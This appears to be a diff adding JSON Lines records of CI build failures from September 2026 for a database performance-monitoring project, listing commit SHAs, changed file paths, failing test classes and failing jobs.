+{"date":"2026-09-19","head_sha":"d98145b5f748258ab3efba77c78400cac11fa94e","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorTimestampFrameTests.cs","Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/PgNumbackendsAndSampledMsRungTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Cpu.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/AgedDatabaseMigrationTests.cs","Lite.Tests/CpuUtilizationCollectorDefinitionTests.cs","Lite.Tests/GoldenCollectorSchema.cs","Lite.Tests/PerfmonCounterTypeTests.cs","Lite.Tests/ServerEpochTests.cs","Lite.Tests/ServerPropertiesCollectorDefinitionTests.cs","Lite.Tests/TimeHonestyRungTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Mcp/McpCpuTools.cs","Lite/Mcp/McpServerInfoTools.cs","Lite/Services/LocalDataService.Cpu.cs","Lite/Services/LocalDataService.ServerInfo.cs","PerformanceMonitor.Collectors/CpuUtilizationCollector.cs","PerformanceMonitor.Collectors/ServerPropertiesCollector.cs"],"failed_classes":["Darling.Tests.PgTargetReplicationTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"1c443a9d29f7085884b6aeebb4ba718df8e8089c","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCollectionHealthMemoTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"533c979f43821b83e5cf909077e25a9ce7873202","event":"push","changed_files":["Darling/Darling.Tests/FleetCollectionHealthMemoTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"d7b4be3582c9052a64ca9fc5cdfe26985c282e4b","event":"pull_request","changed_files":["Darling/Darling.Tests/LocalClockBucketKeyTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Lite.Tests/LocalClockBucketKeyTests.cs","Lite.Tests/RobustBaselineDuckDbTests.cs","Lite/Analysis/BaselineProvider.cs","PerformanceMonitor.Analysis/Baselines/BaselineLocalClock.cs"],"failed_classes":["Darling.Tests.FleetIdentifierScrubTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"ff29c3211aa2b7539b0c02a9507ef3e2c1ca8450","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"7d743c64928046f474e39613a3ba88e47b86f5a8","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisFactsReadRunsDetectorParityTests.cs","Darling/Darling.Tests/AnalyzeWindowEmptyLivePostgresTests.cs","Darling/Darling.Tests/CollectionCaveatsParityTests.cs","Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/PgTargetCollectionCaveatsLiveTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/AnalysisWindowEmptyTests.cs","Lite.Tests/AnomalyDetectorTests.cs","Lite.Tests/CollectionCaveatsTests.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/AnalysisContext.cs"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.PgTargetCollectionCaveatsLiveTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"a755d680a07feb51fe9b669d2ac762441d428bb0","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetSampledWaitLiveTests.cs","Darling/Darling.Tests/PgTargetSampledWaitTests.cs","Darling/Darling.Tests/PgTargetWaitTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.WaitsSampled.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.WaitsSampled.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Waits.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","PerformanceMonitor.Analysis/AnomalyIncidentReconciler.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/Baselines/MetricNames.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Wait.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Waits.cs"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.PgTargetReplicationTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"109542618ff1f021383161dc2c3d3129bf69a54f","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionOutputBesideCostTests.cs","Darling/Darling.Tests/SwallowedItemFailureTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/CollectionOutputBesideCostTests.cs","Lite.Tests/EnumeratedCollectorDriverTests.cs","Lite.Tests/SwallowedItemFailureTests.cs","Lite/Mcp/McpHealthTools.cs","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","Lite/Services/RemoteCollectorService.LongQueryCompletions.cs","PerformanceMonitor.Collectors/EnumeratedCollectorDriver.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"31dd698957f29ee718566360a70042fac5c5b89b","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetCollectionCaveatsLiveTests.cs"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"a0f0f4e0e5b2a4f3de410e7f581dc855a1b8c8c1","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsTests.cs","Darling/Darling.Tests/DarlingCollectorToggleVerbLivePostgresTests.cs","Darling/Darling.Tests/StragglerCommandTimeoutTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"d175cf1d707674a1fe11552400573bdfaa483074","event":"pull_request","changed_files":["Darling/Darling.Tests/ConfigChangeTraceAnchorLivePostgresTests.cs","Darling/Darling.Tests/ConfigChangeTraceAnchorTests.cs","Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Lite.Tests/ConfigChangeAttributionPipelineTests.cs","Lite.Tests/ConfigChangeAttributionTests.cs","Lite/Analysis/AnalysisService.cs","PerformanceMonitor.Analysis/ConfigChangeAttribution.cs","PerformanceMonitor.Analysis/FactAdvice.cs"],"failed_classes":["Darling.Tests.FactSourceRegistryTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-20","head_sha":"c1df3b08c2e005b4bedb39c5633311aaf2aaaa85","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisAsOfAnchorTests.cs","Darling/Darling.Tests/AsOfWindowAnchorTests.cs","Darling/Darling.Tests/DarlingDailySummaryRangeTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs","Darling/Darling.Tests/DarlingMcpFleetSweepToolsTests.cs","Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs","Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs","Darling/Darling.Tests/DarlingMcpPlanToolsTests.cs","Darling/Darling.Tests/DarlingMcpToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingPeerDisclosureTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/FactSourceRegistryTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetSweepTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDeadlockTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Lite.Tests/AnalysisAsOfAnchorTests.cs","Lite.Tests/AsOfWindowAnchorTests.cs","Lite.Tests/DailySummaryRangeToolTests.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite.Tests/McpPageContractTests.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpPlanTools.cs","Lite/Mcp/ServerResolver.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.PgLogEventsLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"c939f460ff5fad35f7f1f85bc266a49f769a0502","event":"push","changed_files":["Darling/Darling.Tests/CollectionLogFanoutRollupStoreTests.cs","Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs","Darling/Darling.Tests/DarlingEmptyEnumerationInventoryTests.cs","Darling/Darling.Tests/QueryStoreHealthStoreTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Lite.Tests/EmptyEnumerationInventoryTests.cs","Lite.Tests/QueryStoreHealthCollectorDefinitionTests.cs","Lite/Mcp/McpHealthTools.cs","PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs"],"failed_classes":["Darling.Tests.PgLogEventsLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"d4c281ca1357c631f71d9414081ef33fe8010310","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineDiscontinuityRenderTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/BaselineDiscontinuityReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Discontinuities.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryTrends.cs","Lite.Tests/BaselineDiscontinuityDuckDbTests.cs","Lite.Tests/BaselineDiscontinuityRenderCensusTests.cs","Lite.Tests/BaselineDiscontinuityTests.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Mcp/McpIoTools.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Mcp/McpPerfmonTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Mcp/McpWaitTools.cs","Lite/Services/LocalDataService.Discontinuities.cs","PerformanceMonitor.Collectors/BaselineDiscontinuity.cs","PerformanceMonitor.Collectors/CollectorMeasurement.cs","PerformanceMonitor.Common/ChartPalette.cs","PerformanceMonitor.Ui/ChartStyle.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"8e01ff4d1d8af7b3d176ac08dab58d512f7c6747","event":"push","changed_files":["Darling/Darling.Tests/CollectorTimestampFrameTests.cs","Darling/Darling.Tests/DarlingCollectorRunnerTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Lite.Tests/CpuUtilizationCollectorDefinitionTests.cs","Lite.Tests/TimeHonestyRungTests.cs","Lite.Tests/WaitStatsCollectorDefinitionTests.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/CollectorDefinitionBase.cs","PerformanceMonitor.Collectors/CpuUtilizationCollector.cs","PerformanceMonitor.Collectors/ICollectorDefinition.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"b3e0c82b695d6104116e3099b715e2f436cf37ac","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetSessionsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Sessions.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Sessions.cs","PerformanceMonitor.Analysis/PgTargetScorer.Sessions.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PgTargetReplicationTests","Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"5e105b8c26ca1336abff8ec3aee83d840ceee1bb","event":"pull_request","changed_files":[".github/workflows/build.yml",".github/workflows/nightly.yml","Darling/Darling.Tests/LongRunningQueryExclusionKnobRungTests.cs","Darling/Darling.Tests/PerfmonCounterTypeRungTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/PgNumbackendsAndSampledMsRungTests.cs","Darling/Darling.Tests/PgSchemaGeneratorTests.cs","Darling/Darling.Tests/RdsCpuIngestorTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/Darling.Tests/ViewerCollectorCoverageTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/PgDatabaseSizeStatsCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/CollectorCatalog.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs","PerformanceMonitor.Collectors/PgCpuUtilizationCollector.cs","PerformanceMonitor.Collectors/PgDatabaseSizeStatsCollector.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.ViewerPostgresTabsTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-20","head_sha":"c88c3941d5b49f220a0c9a47d927c8ee2882ab9a","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetBufferDrillDownTests.cs","Darling/Darling.Tests/PgTargetKnobsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Buffer.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Buffer.cs"],"failed_classes":["Darling.Tests.MeasurementContractCensusTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"bea6b41fd3539f97316bb7fea9c2a59d593c23d0","event":"push","changed_files":["Darling/Darling.Tests/PgTargetBufferDrillDownTests.cs","Darling/Darling.Tests/PgTargetKnobsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Buffer.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Buffer.cs"],"failed_classes":["Darling.Tests.MeasurementContractCensusTests","Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests","Darling.Tests.ViewerPostgresTabsTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-20","head_sha":"06ec67ccb1efc04b8c3500b41e1f2e3b6153a7ee","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetPlanTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/Darling.Tests/PgTargetV3PlumbingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Plans.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Plans.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Plans.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Plans.cs","PerformanceMonitor.Analysis/PgTargetScorer.Plans.cs"],"failed_classes":["Darling.Tests.MeasurementContractCensusTests","Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests","Darling.Tests.ViewerPostgresTabsTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"4b8823b72a2b692f631f59ee37afc6663b6b905d","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetBufferDrillDownTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Buffer.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Buffer.cs"],"failed_classes":["Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.ViewerPostgresTabsTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"1a6b308e238e3e987bc24c04becbabff57510a2b","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAgToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs"],"failed_classes":["Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests","Darling.Tests.ViewerPostgresTabsTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"9d96ad152bef8883ca7628d14af49d47567765c8","event":"pull_request","changed_files":["Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/PgLogEventMetricsTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgRegistryPanelPlacementTests.cs","Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs","Darling/Darling.Tests/ViewerPostgresTabsTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresTabs.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"8aca2617bb4673716b0d17b721f5dcc6a19c6eb1","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs","Darling/Darling.Tests/PgTargetFactCollectorTests.cs","Darling/Darling.Tests/PgTargetKernelTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/Darling.Tests/PgTargetV3PlumbingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Kernel.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Kernel.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Kernel.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Kernel.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Kernel.cs","PerformanceMonitor.Analysis/PgTargetScorer.Kernel.cs"],"failed_classes":["Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests","Darling.Tests.ViewerPostgresTabsTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"cffafdc423fb4c52210cc3d63931e88e1d653c1d","event":"pull_request","changed_files":["Darling/Darling.Tests/TsqlConventionGuardTests.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"291e15f88bc3571b75e4006b3e239f73f38eb2c5","event":"push","changed_files":["Darling/Darling.Tests/TsqlConventionGuardTests.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"9d82420cda9bff1a3bc500fb94e39e8ae2b71ad1","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetFactCollectorTests.cs","Darling/Darling.Tests/PgTargetKnobsTests.cs","Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs","Darling/Darling.Tests/PgTargetMemoryTests.cs","Darling/Darling.Tests/PgTargetQueriesTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/Darling.Tests/PgTargetV3PlumbingTests.cs","Darling/Darling.Tests/PgTargetVacuumLiveTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Memory.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Memory.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.HostMemory.cs","PerformanceMonitor.Analysis/PgTargetScorer.Memory.cs"],"failed_classes":["Darling.Tests.PgDatabaseSizeStatsAndHostMemoryRungTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-20","head_sha":"e247eea3f0b25e7279d7c692ffe0213b822e789c","event":"pull_request","changed_files":["Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs","Darling/Darling.Tests/QueryStoreHealthStoreTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/GoldenCollectorSchema.cs","Lite.Tests/QsCaptureModeRungTests.cs","Lite.Tests/QueryStoreHealthCollectorDefinitionTests.cs","Lite/Database/DuckDbInitializer.cs","PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs"],"failed_classes":["PerformanceMonitorLite.Tests.TimeHonestyRungReadTests"],"failed_jobs":["build"]}
+{"date":"2026-09-20","head_sha":"f2e1816f81b68b39752fa4c0c85afe198ee9abf3","event":"push","changed_files":["Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PgDatabaseSizeStatsAndHostMemoryRungTests.cs","Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs","Darling/Darling.Tests/QueryStoreHealthStoreTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/GoldenCollectorSchema.cs","Lite.Tests/QsCaptureModeRungTests.cs","Lite.Tests/QueryStoreHealthCollectorDefinitionTests.cs","Lite/Database/DuckDbInitializer.cs","PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs"],"failed_classes":["PerformanceMonitorLite.Tests.TimeHonestyRungReadTests"],"failed_jobs":["build"]}
